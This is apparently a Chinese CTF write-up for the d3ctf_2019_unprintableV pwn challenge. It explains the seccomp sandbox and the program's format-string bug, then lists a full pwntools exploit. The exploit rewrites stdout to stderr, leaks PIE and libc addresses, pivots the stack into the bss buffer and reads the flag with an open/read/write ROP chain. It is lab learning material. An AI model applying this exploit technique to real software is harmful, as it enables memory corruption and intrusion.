[BUUCTF-pwn] d3ctf_2019_unprintableV

这个题跟着exp作了好久,好久,值得纪念

先看保护

buuctf/378_d3ctf_2019_unprintablev$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL
buuctf/378_d3ctf_2019_unprintablev$ checksec pwn
[*] '/home/shi/buuctf/378_d3ctf_2019_unprintablev/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

从名字上看是formatstr的问题,保护除了canary全开(这个也可以关,printf写也用不着连续),并且关掉了execve,也就是得用ORW,把flag读出来再写出来,不能get shell

再看程序,程序也很简单 main->menu->vuln->printf,输入d^3CTF退出循环,可恶之处是关掉了stdout,需要将stdout改为stderr,改的这段得盲敲

void __cdecl menu()
{
  char *a; // [rsp+8h] [rbp-8h] BYREF

  a = buf;
  puts("welcome to d^3CTF!");
  printf("here is my gift: %p\n", &a);
  puts("may you enjoy my printf test!");
  close(1);
  while ( strncmp(buf, "d^3CTF", 6uLL) && time )
    vuln();
}
void __cdecl vuln()
{
  read(0, buf, 0x12CuLL);
  printf(buf);
  --time;
}

另外,读入数据写到buf上,buf不在栈上,这就要用rbp链

0000| 0x7fffffffdf80 --> 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60      #6
0008| 0x7fffffffdf88 --> 0x555555554afb (<menu+89>:	mov    edx,0x6)
0016| 0x7fffffffdf90 --> 0x7fff000000000006 
0024| 0x7fffffffdf98 --> 0x555555756060 ("AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p\n")     #leak 
0032| 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60 (<__libc_csu_init>)     #10              
0040| 0x7fffffffdfa8 --> 0x555555554b51 (<main+45>:	mov    eax,0x0)
0048| 0x7fffffffdfb0 --> 0x7fffffffe0a8 --> 0x7fffffffe3bc (".../pwn")
0056| 0x7fffffffdfb8 --> 0x100000000 
0064| 0x7fffffffdfc0 --> 0x555555554b60 (<__libc_csu_init>:	push   r15)
0072| 0x7fffffffdfc8 --> 0x7ffff7a3fa87 (<__libc_start_main+231>:	mov    edi,eax)

程序一开始以礼物的形式给了栈地址:...df98这个位置,也就是buf指针

rbp链就是 df80->dfa0->dfc0->55....60 偏移对应的是6->10-> 只需要用6修改10就可以写栈里大部分位置,因为栈都很短(连canary都没有)

由于限制使用execve用ORW的话rop会很长,程序里限制了vuln的使用次数64,所以这里要作个移栈,把栈移到buf这,把payload写到这里

步骤:

  1. 收礼物 得到buf的栈地址
  2. 通过偏移6修改10让它指向buf(9)
  3. 通过10修改9,原来它是buf指针指向bss里buf,修改2字节指向stdout,?XXX
  4. 通过9修改stdout两字节让他变更stderr这样就能输出信息了,由于有1位未知需要爆破
  5. 发个标记验证一下是否修改成功,不成功raise个例外重来
  6. 泄露偏移11的main_ret和15的libc_start_main_ret 得到加载地址和libc
  7. 修改rbp,libc_start_main_ret为 &buf和leave_ret
  8. 修复原来被改动的偏移10的rbp,让他指回原来的位置
  9. 在buf写入rop,写入d^3CTF退出

完整的exp

from pwn import *

'''
patchelf --set-interpreter /pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''

elf = ELF('./pwn')
context.arch = 'amd64'

local = 0
if local == 1:
    libc_elf = ELF('/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
    one = [0x4240e, 0x42462, 0xe31ee]
    offset = 0x3b12a0  #__libc_IO_vtables:00000000003B12A0 _IO_file_jumps
else:
    libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
    one = [0x4f2c5, 0x4f322, 0x10a38c]
    offset = 0x3e82a0  #__libc_IO_vtables:00000000003E82A0 _IO_file_jumps

def connect():
    if local == 1:
        p = process('./pwn')
    else:
        p = remote('node4.buuoj.cn', 27162) 
    return p

context(arch='amd64') #, log_level='debug'

bss_stdout = elf.sym['stdout'] #0x202040
main_addr  = elf.sym['main']
buf_addr_s   = elf.sym['buf']

_IO_2_1_stderr_   = libc_elf.sym['_IO_2_1_stderr_']
libc_start_main = libc_elf.sym['__libc_start_main']
open_addr_s = libc_elf.sym['open']
read_addr_s = libc_elf.sym['read']
write_addr_s= libc_elf.sym['write']

pop_rdi_s   = 0x0000000000000bc3 # pop rdi ; ret
pop_rsi_s   = 0x0000000000000bc1 # pop rsi ; pop r15 ; ret
leave_ret_s = 0x0000000000000b56 # leave ; ret
pop_rdx_s   = next(libc_elf.search(asm('pop rdx;ret')))  #libc

'''
0000| 0x7fffffffdf80 --> 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60  #6
0008| 0x7fffffffdf88 --> 0x555555554afb (<menu+89>:	mov    edx,0x6)
0016| 0x7fffffffdf90 --> 0x7fff000000000006 
0024| 0x7fffffffdf98 --> 0x555555756060 ("AAAAAAAA-%p-%p-%p-%p-%p-%p-%p\n")     #leak 
0032| 0x7fffffffdfa0 --> 0x7fffffffdfc0 --> 0x555555554b60   #10
0040| 0x7fffffffdfa8 --> 0x555555554b51 (<main+45>:	mov    eax,0x0)
0048| 0x7fffffffdfb0 --> 0x7fffffffe0a8 --> 0x7fffffffe3bc ("pwn")
0056| 0x7fffffffdfb8 --> 0x100000000 
0064| 0x7fffffffdfc0 --> 0x555555554b60 (<__libc_csu_init>:	push   r15)
0072| 0x7fffffffdfc8 --> 0x7ffff7a3fa87 (<__libc_start_main+231>:	mov    edi,eax)

0x555555756020 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dd3760	0x0000000000000000
0x555555756030 <stdin@@GLIBC_2.2.5>:	0x00007ffff7dd2a00	0x0000000000000000
0x555555756040 <stderr@@GLIBC_2.2.5>:	0x00007ffff7dd3680	0x0000000000000000

df80->dfa0->df98->0x555555756020 ?760-> 0680
'''

def write_i(stack,index,addr):  
    i = 0  
    while addr > 0:  
        payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhn TAG'  
        p.sendline(payload.encode())  
        p.recvuntil(b'TAG')  
        data = addr & 0xFF  
        payload = '%' + str(data) + 'c%10$hhn TAG'  
        p.sendline(payload.encode())  
        p.recvuntil(b'TAG')  
        addr = addr >> 8  
        i+=1

def crack():  
   #获得buf指针的地址
   p.recvuntil(b'here is my gift: ')
   stack = int(p.recvline()[:-1],16)  
   print ('stack:', hex(stack)) 
   
   #6->10 10->9 9->bss_buf:bss_stdout
   p.recvuntil(b'may you enjoy my printf test!\n')  
   payload = '%' + str(stack & 0xFF) + 'c%6$hhn'  
   p.sendline(payload.encode().ljust(0x12C-1, b'\x00'))  

   sleep(0.2)  
   payload = '%' + str(bss_stdout & 0xFF) + 'c%10$hhn'  
   p.sendline(payload.encode().ljust(0x12C-1, b'\x00'))  
   
   
   sleep(0.2) 
   #gdb.attach(p)
   #h = int(input('h='), 16)
   h=0
   payload = '%' + str((_IO_2_1_stderr_ & 0xFFF) + h*0x1000) + 'c%9$hn'  #?XXX
   p.sendline(payload.encode().ljust(0x12C-1, b'\x00'))  

   sleep(0.2)  
   p.sendline(b'aaaaaaa'.ljust(0x12C-1, b'\x00'))  
  
   x = p.recvuntil(b'aa',timeout=0.5)  
   if b'aa' not in x:
       print('XXXXXX') 
       raise Exception('retry')
   
   print('output open!')
   #泄露main+0x2D的地址  
   payload = 'TAG%11$p,%15$pTAG'
   p.sendline(payload.encode())  
   p.recvuntil(b'TAG')
   pwn_base = int(p.recvuntil(b',', drop=True),16) - 0x2D - main_addr
   pop_rsi  = pop_rsi_s + pwn_base
   pop_rdi  = pop_rdi_s + pwn_base 
   buf_addr  = buf_addr_s + pwn_base 
   leave_ret = leave_ret_s + pwn_base
   
   print(hex(pwn_base), hex(pop_rdi), hex(pop_rsi), hex(buf_addr), hex(leave_ret))
   #泄露__libc_start_main+E7的地址  
   libc_base = int(p.recvuntil(b'TAG',drop=True),16) - 0xE7 - libc_start_main  
   open_addr    = libc_base + open_addr_s 
   read_addr    = libc_base + read_addr_s
   write_addr   = libc_base + write_addr_s
   pop_rdx      = libc_base + pop_rdx_s
   print(hex(libc_base), hex(open_addr), hex(read_addr), hex(write_addr), hex(pop_rdx))
  
   #修改main的rbp,做栈迁移
   print('change rbp->buf') 
   write_i(stack,5,buf_addr+8)
   #这次,我们写main的返回地址,也就是main ebp后面那个空间  
   print('change return->leave_ret')
   write_i(stack,6,leave_ret) #leave_ret
  
   #复原menu的rbp  
   print('write back menu rbp->stack+x28')
   payload = '%' + str((stack + 0x28) & 0xFF) + 'c%6$hhn TAG'  
   p.sendline(payload.encode())
   p.recvuntil(b'TAG')
  
   #当退出main时,栈会转移到buf里去,pop_rdi+1是ret限止没命中,向前滑一下
   rop  = b'A'*8 + flat(pop_rdi+1, pop_rdi+1, pop_rsi,0,0,pop_rdi, buf_addr+0xc8, open_addr) #Open
   rop += flat(pop_rdx, 0x30, pop_rsi, buf_addr+0x100,0,pop_rdi, 1, read_addr) #Read
   rop += flat(pop_rdx, 0x30, pop_rsi, buf_addr+0x100,0,pop_rdi, 2, write_addr) #Write
   rop  = rop.ljust(0xC8, b'\x00')  
   #存入flag字符串  
   rop += b'flag\x00'  
   #rop  = rop.ljust(0x12C-1, b'\x00')  
   p.sendline(rop)

   payload = b'd^3CTF\x00'
   p.sendline(payload)
   
   p.interactive()  

while True:
    try:
        p = connect()
        crack()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()
        print ('retrying...')
    #break

几个注意的小点:

  1. interactive本身是没用的,因为得不到shell但是可以让程序停下来
  2. stdout关闭后,再打开文件的描述符是1(用stdout关闭的空闲号,原来都用3)
  3. 在没有输出里用sleep作间隔,防止由于输入没完成(两字节的时候)后续写错
  4. 测试开没开输出时raise报个错让try得到可以重来(程序本身没有崩)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值